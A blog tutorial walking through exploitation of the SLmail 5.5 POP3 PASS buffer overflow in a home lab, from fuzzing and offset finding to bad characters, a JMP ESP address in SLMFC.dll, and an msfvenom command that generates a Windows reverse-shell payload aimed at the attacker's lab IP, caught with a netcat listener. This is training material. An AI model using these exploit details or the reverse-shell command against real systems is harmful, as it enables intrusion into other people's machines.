Win32 Buffer Overflow (Identification and Exploitation )

Mohammad Mohsin
14 min readFeb 24, 2021

--

Sample: Buffer Overflow Diagram

Severity: Critical

Hi Folks!

In this blog, We will see “How to detect simple Buffer Overflow vulnerability and How to exploit it”.

There are many publicly available services for practicing buffer overflow like SLMail, VulnServer, WAR-FTP, etc. but its up to you, “what service you wanna exploit?”. For this blog purpose, I am targeting SLmail version 5.5 which is a POP3 mail server running on port 110. Before starting actual steps to reproduce this vulnerability lets try to understand that What is Buffer Overflow and Environment required to exploit SLmail 5.5

What is Buffer Overflow?

Buffers are memory storage regions that temporarily hold data while it is being transferred from one location to another. A buffer overflow occurs when the volume of data exceeds the storage capacity of the memory buffer. As a result, the program attempting to write the data to the buffer overwrites adjacent memory locations.

Consider the scenario, where user supplied input for password field expects 8 bytes of data to be stored in buffer memory and transaction involved 10 bytes of data somehow to be stored on buffer memory, Its so obvious that 2 bytes of data will be overflow and overwritten onto adjacent buffer memory.

Buffer Overflow Example- in Simple Terms

Pre-Requisites:

  1. Kali Linux: Attacker Machine (IP:192.168.209.129)

2. Windows 7 (32 bit): Victim Machine (IP:192.168.209.137)

Later, it’s changed to (IP:192.168.209.130) because of DHCP.

3. SLmail 5.5 installed on victim machine. You can refer to below YouTube video to see “How to Install SLMail for penetration testing on Windows 7 machine?”.

URL: https://www.youtube.com/watch?v=qyoALEIAJqo

4. Immunity Debugger: You can install it from below URL.

URL: https://www.immunityinc.com/products/debugger/index.html

5. Disable Windows Defender on target machine i.e. Windows 7

6. Install Mona.py on Windows 7 (Victim/Target Machine). You can install it from below URL.

URL: https://github.com/corelan/mona

7. Install netcat on Windows 7 (Victim Machine) from below URL.

https://eternallybored.org/misc/netcat/

8. A basic knowledge of assembly and the Windows operating system will be useful, however, it is not a requirement.

Mental Notes:

Lets take some mental notes before starting,

To determine Attacker machine IP, Run the below command on your kali machine.

Command: ifconfig

Attacker Machine IP — Kali Linux

To determine Victim machine IP, Run the below command on your Windows 7 which is victim machine in this case. But, in real time we use netdiscover to identify victim machines IP addresses and then we do nmap scan to detect running services along with Port.

Command: ipconfig

Victim or Target Machine IP- Windows 7

To check netcat properly installed on windows machine or not using kali command.

Note: We are performing assessment using dynamic DHCP server so that our victim machines IP may get changed time by time. For example, In this case it’s got changed dynamically from 192.168.209.137 to 192.168.209.130 later on screens.

Command: nc [Windows IP] 110

SLmail Server is ready and installed properly

To perform basic Enumeration to know running services and their corresponding port number use below command. Don’t forget we need to perform service enumeration on Attacker machine.

Command: nmap -sT -sV 192.168.209.130

POp3 Service running on port 110

Before Starting, Let me give you some insights of CPU registers, If you are not willing to read it then skip this part if you are already aware and jump to Fuzzing part which is our first step in exploiting buffer overflow vulnerability.

CPU Registers:

· Stored Data Temporarily in registers.

· CPU process, store, and transfer data from one component to another component with the help of registers.

Types of Registers:

Registers can be divided into five major types.

1. General Purpose Registers.

2. Pointer Registers.

3. Index Register

4. Segment Register

5. Flag Register

1. General Purpose Register:

There are four types of general-purpose register as below:

· (AX) Accumulator Register

· (BX) Base Register

· (CX) Count Register

· (DX) Data Register

Accumulator Register: Commonly used for storing arithmetic and logic data results.

Base Register:

Commonly used to save address of memory location.

It is also a reference point for other memory location and addresses.

Base address could indicate the beginning of the program. The address of every instruction in the program could then be specified by adding an OFFSET to the BASE address. For example, the address of the fifth instruction would be the base address plus 4.

Count Register (CX): Keep record of iterations while a loop instruction is running.

Data Register (DX): Hold data of instruction currently being executed.

2. Pointer Register: Used to point towards some memory address. There are three pointers register.

i) Base Pointer (BP): Points to the base element of the stack.

ii) Stack Pointer (SP): Always point to the top element of the stack.

iii) Instruction Pointer (IP): Store the address of next instruction to be executed.

3. Index Register: Used for indexed addressing and sometime used in addition and subtraction. There are two sets of index register.

i) Source index for string operation. (SI)

ii) Destination index for string operation. (DI)

4. Segment Register: Segments are specific area in a program for containing data, code and stack. There are three segments.

i) Code Segment: Contains all instruction to be executed.

Ii) Data Segment: Contains data, constraint and work areas.

iii) Stack Segment: Contains data and return address of procedures and subroutines.

5. Flag Register: These registers are programmable. It can be used to stored and transfer the data from the registers by using instruction. The common flag bits are as follows:

i. Overflow Flag: indicates the overflow of higher order.

ii. Direction Flag: Determines left or right direction for moving or comparing string data.

DF=0 means string operations takes from left to right direction.

DF=1 means string operations takes from right to left direction.

iii. Interrupt Flag: Determine whether the external interrupts like keyboard entry etc. are to be ignored or processed. It disables the external interrupts when value is 0 and enable it when value is 1.

iv. Trap Flag: Allows operations of processor in single step mode. The debug program we used sets the trap flag so we could step through the execution one instruction at a time.

v. Sign Flag: Shows the sign of the result of any arithmetic operation.

vi. Zero Flag: Indicates the result of an arithmetic or comparison operations. A nonzero result clears the zero flag to 0 and zero results sets to 1.

vii. Auxiliary Carry Flag: Used for specialized arithmetic.

viii. Parity Flag: Indicates the total number of 1-bits in the result obtained from an arithmetic operation. An even no. of 1-bits clears the parity flag to 0 and an odd no. of 1-bits sets the parity flag to 1.

I know theoretical explanation sucks but sometimes you cannot escape with it before jumping into practical which is more interesting approach. So Lets start without wasting more time.

POC:

Step 1: Fuzzing.

Fuzzing involves sending malformed data into application input and watching for unexpected crashes. An unexpected crash indicates that application might not filter certain input correctly. This could lead to discovering and exploitable vulnerability.

The buffer overflow was found back in 2005 and affected the POP3 PASS command, which is provided during user login. So. Our first step is here to check whether PASS parameter is still vulnerable to buffer overflow or not. To check use below script which basically generates 100 to 3500 bytes of strings and sends (fuzzing) it to the PASS parameter using socket module to determine crash.

Note: Don’t forget to modify exploit. You can keep your service IP and PORT. Below is the Original exploit given into Offensive Security Penetration Testing with Kali Linux Book.

Original Exploit in Off-Sec Book for Fuzzing

Below is the modified exploit to determine Crash.

Start the SLmail service and Attach instance into immunity Debugger.

SLmail Attached into Immunity Debugger

Now, Run the Fuzzing Python Script that we have modified to determine the Crash as shown in below diagram.

Command: python ./Fuzzing.py

Fuzzing PASS Parameter

As we can see above, When our PASS buffer reaches 2700 bytes in length the debugger provide us below information.

Notice our EIP Overwritten with Hex Value 41414141 means AAAA

It means, EIP registers is overwritten by 41414141 (Hex value of “AAAA”) and an application is vulnerable to Buffer Overflow at 2700 bytes. Don’t forget to Restart our SLmail service and Immunity Debugger after each crash.

Step 2: Replicating and Verifying Crash:

Write a simple script that will replicate our observed crash, without having to run the Fuzzer each time.

Original and Modified Script to Replicate and Verify Crash

Command: python ./Fuzzing-Edt1.py

Sending bytes and Verifying Correct Crash Bytes
Verifying Correct Crash Bytes

Notice, Step 1 which is Fuzzing and Step 2 has same results in Immunity Debugger it means that we have correct byte crash and So far we are on right track to exploit further.

Step 3: Determining and Controlling ERP:

Determining ERP means we locate those 4 A’s that overwrite our EIP register in the buffer. There are two ways to do that,

i) Binary Tree Analysis (Not explained here),

ii) Sending a unique string: The faster method of identifying these four bytes is to send a unique string of 2700 bytes, identify the 4 bytes that overwrite EIP, and then locate those four bytes in our unique buffer. pattern_create.rb is a Ruby tool for creating and locating such buffers, and can be found as part of the Metasploit Framework exploit development scripts.

Generate Unique String pattern of 2700 bytes and replace into buffer variable in python script

Command: locate pattern_create.rb

locate exploit pattern_create.rb

Modified script:

Script to generate Unique String- Fuzzing-Edt3.py

Command: python Fuzzing-Edt3.py

Immunity debugger result after sending Unique String

Here, we can see EIP register hold value 39694438 which is now used to determine exact byte location of offset (EIP).

Checking Byte Location using EIP value

Exact Byte Location of EIP offset is 2606.

Step 4: Verifying EIP and Determining ESP Beginning:

Lets quickly modify exploit to verify our EIP location is correct. Following lines has been modified.

Modified Exploit Lines in Fuzzing-Edt4.py rest is same as Fuzzing-Edt3.py

Sending this new buffer to the SLMail POP3 server produces the following crash in our Immunity debugger. Execute below command in terminal once process is attached.

Command: python Fuzzing-Edt4.py

Successful EIP results

As we can see, EIP register successfully overwritten by 42424242 (Hex value of B) which mean we have found exact byte location of EIP register. Now verify ESP should directly points to the beginning of C.

Determining ESP should directly point to the beginning of C
ESP Directly pointing to the beginning of C

Here, We can see ESP directly pointing to the beginning of C just after EIP.

Our Next step before locating space to execute shellcode is checking for bad characters. So obvious question will be mind is “What is the bad characters?”

Step 5: Checking and eliminating bad characters:

Depending on the application, vulnerability type, and protocols in use, there may be certain characters that are considered “bad” and should not be used in your buffer, return address, or shellcode. One example of a common bad character is the null byte (0x00).This character is considered bad because a null byte is also used to terminate a string

Another examples of bad characters is carriage return(0x0D). So to get rid of this bad characters we are going to use mona.py to generate the bad characters.

Generating the Array:

For a quick reference, these one-liners can also be used to generate the array:

Python
for i in range(0,256): print('\\x%02X' % i, end='')
Bash
for i in {0..255}; do printf "\\\x%02x" $i;done

Command: !mona bytearray -b ‘\x00’

Generating Bad Characters

I have configured predefined working folder under Immunity Debugger where our file which has bad characters stored by default. to do this I have used below command.

Command: !mona config -set workingfolder c:\logs\%p

Creating working folder under immunity debugger

The bytearray.bin file looks as shown below:

bytearray.txt — Path for generated bad character’s

Below is the modified exploit Fuzzing-Edt-5.py

Adding Bad Characters to the Script

Comparing bad characters strings with Mona.py:

Now run the above script which we have created and compare the bad characters in immunity debugger with bytearray.bin file using below command.

Command: !mona compare -f C:\logs\SLmail\bytearray.bin -a <ESP Address>

Loop 1: Elimination of bad characters from bytearray.bin and python script as well:

Comparing bad character’s using Mona.py
Comparing Bad Characters Using Mona.py

As we can see, in the above images that mona.py showing 2 bad characters that are 00, 0a out of which we have already excluded 00 (Null Byte) from the script but it still exists in the bytearray.bin. So, now we need to exclude both the bad characters from bytearray.bin as well as from script too.

Eliminate both the bad characters (00, 0a) from bytearray.bin using mona.py

Command: !mona bytearray.bin -cpb “\x00\x0a”

Excluding 2 bad characters from bytearray.bin

Now, Eliminate \x0a bad character from script too because we have already excluded \x00 (NULL Byte earlier).

Below is the modified script Fuzzing-Edt-6.py

Command: python Fuzzing-edit-6.py

Eliminate \x0a bad character from script too — Fuzzing-Edt-6.py

Now, we again run this script and compare bad characters until mona.py shows us UNMODIFIED in status column.

Loop 2: Elimination of bad characters from bytearray.bin and python script as well:

Comparing Bad Characters using Mona.py
Comparing Bad Characters using Mona.py

Again, we can see Mona.py found one more bad character 0d and again we need to exclude this bad character from bytearray.bin as well as from script too. Again eliminate all three bad character (\x00\x0a\x0d) from bytearray.bin using mona.py

Command: !mona bytearray -cpb “\x00\x0a\x0d”

Eliminating all 3 bad character from bytearray.bin

Again Eliminate \x0d bad character from script too.

Below is the modified script Fuzzing-Edt7.py

Command: python Fuzzing-edt-7.py

Loop 3: Elimination of bad characters from bytearray.bin and python script as well:

Comparing bad characters using Mona.py
Comparing bad characters using Mona.py

As we can see, in the above images we have got unmodified in the status in mona.py. We have successfully removed 3 bad characters (\x00\x0a\x0d).

Step 6: Finding Return Address:

Now, We need to find return address nothing but JMP,ESP so that we can directly redirect execution flow to the ESP. If we can find an accessible, reliable address in memory that contains an instruction such as JMP ESP, we could jump to it, and in turn end up at the address pointed to ,by the ESP register, at the time of the jump. to do that we are going to use mona.py script.

Run below command to show all .dll (modules) application loaded and select .dll in which Rebase, SafeSEH, ASLR, NXCompat all of this are false.

Command: !mona modules

The Output of the !mona modules Command

Here, we can see in the above images that in SLMFC.dll all our required Rebase, SafeSEH, ASLR, NXCompat are sets to False. This are some memory protection Flags basically. We are now proceeding further with this module.

Now find JMP ESP address in SLMFC.DLL using below command and select first one address from the output. Now, we have found JMP ESP address in SLMFC.DLL which is in this case 0x5f4a358f

Command: !mona -s “\xff\xe4” -m slmfc.dll

Select First Address

Mental Notes: JMP ESP Address is 0x5f4a358f

Now, We need to verify our return address is correct one. to do that we will set breakpoint at JMP ESP address to verify our program executions flow jump directly to the ESP. We need to flip address before adding it to the python script in place of B characters due to endianness.

Command: bp 0x5f4a358f

Setting Breakpoint

Now, Replace B with 8f354a5f (Flipped bcas of little-endian format of intel processor) in python script

Fuzzing-Edt-8.py

breakpoint hit in the immunity debugger as well as PRESS F& twice to execute the PUSH ESP and RET instructions to verify that execution is redirected to the beginning of our C’s.

Command: python Fuzzing-Edt-8.py

Hitting Breakpoint

So, everything working fine, our script hitting breakpoint as expected.

Step 7: Generating Shellcode with Metasploit msfvenom:

In this step, we are going to generate inline reverse shell payload with excluding bad characters that we have found earlier in this blog and add the shellcode into python script in place of C’s.

We will use a basic payload called windows/shell_reverse_tcp, which acts much like a reverse shell netcat payload. The payload requires at least an LHOST parameter, which defines the IP to send back the reverse shell. An LPORT parameter specifying that the connect back PORT may also be defined. The msfvenom script will generate C formatted (C parameter) shellcode using the following command:

Command: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.209.129 LPORT=443 -e x86/shikata_ga_nai -b “\x00\x0a\x0d” -f c

Generating reverse connection shell code

The resulting shellcode will send a reverse shell to 192.168.209.129 on port 443, contains no bad characters, and is 351 bytes long.

Step 8: Getting a Shell:

Getting a reverse shell from SLMail should be as simple as replacing our buffer of C’s with the shellcode, and sending off our exploit over the network.

Keep in mind, ESP register points to the beginning of our payload, but the metasploit Framework decoder will overwrite the first few bytes of our shellcode, rendering it useless. So to make our shellcode useful we will add approximately 20 NOP’s (No Operation Instructions (0x90)) at the beginning of our shellcode into buffer variable and then we will run our final exploit.

Our final exploit will look like below:

Final Exploit — Fuzzing-Edt-Final.py

Start nc listener on port number 443 and run the final exploit to get reverse shell.

Command: python Fuzzing-Edt-Final.py

Getting Shell Successfully

As you can see, we have successfully PWNED machine by exploiting buffer overflow vulnerability.

I hope, readers will enjoy this blog! At the end of this blog, I would like to thanks OFF-SEC Team for such a great detail book and a special friend and mentor Ankit Kushwah for guiding me through.

In my next blog, I will write Write-Up on SMTP Relay or AS 400 Pen-testing. More to come in a queue. Please do clap and follow if you would like to hear more from me.

Thanks Again!

--

--

Mohammad Mohsin
Mohammad Mohsin

Written by Mohammad Mohsin

Director - OLF Infotech Pvt. Ltd. Ethical Hacker, Vulnerability Assessment and Penetration Tester, Bug Hunter, Security Researcher, Optimistic, Philanthropist.

No responses yet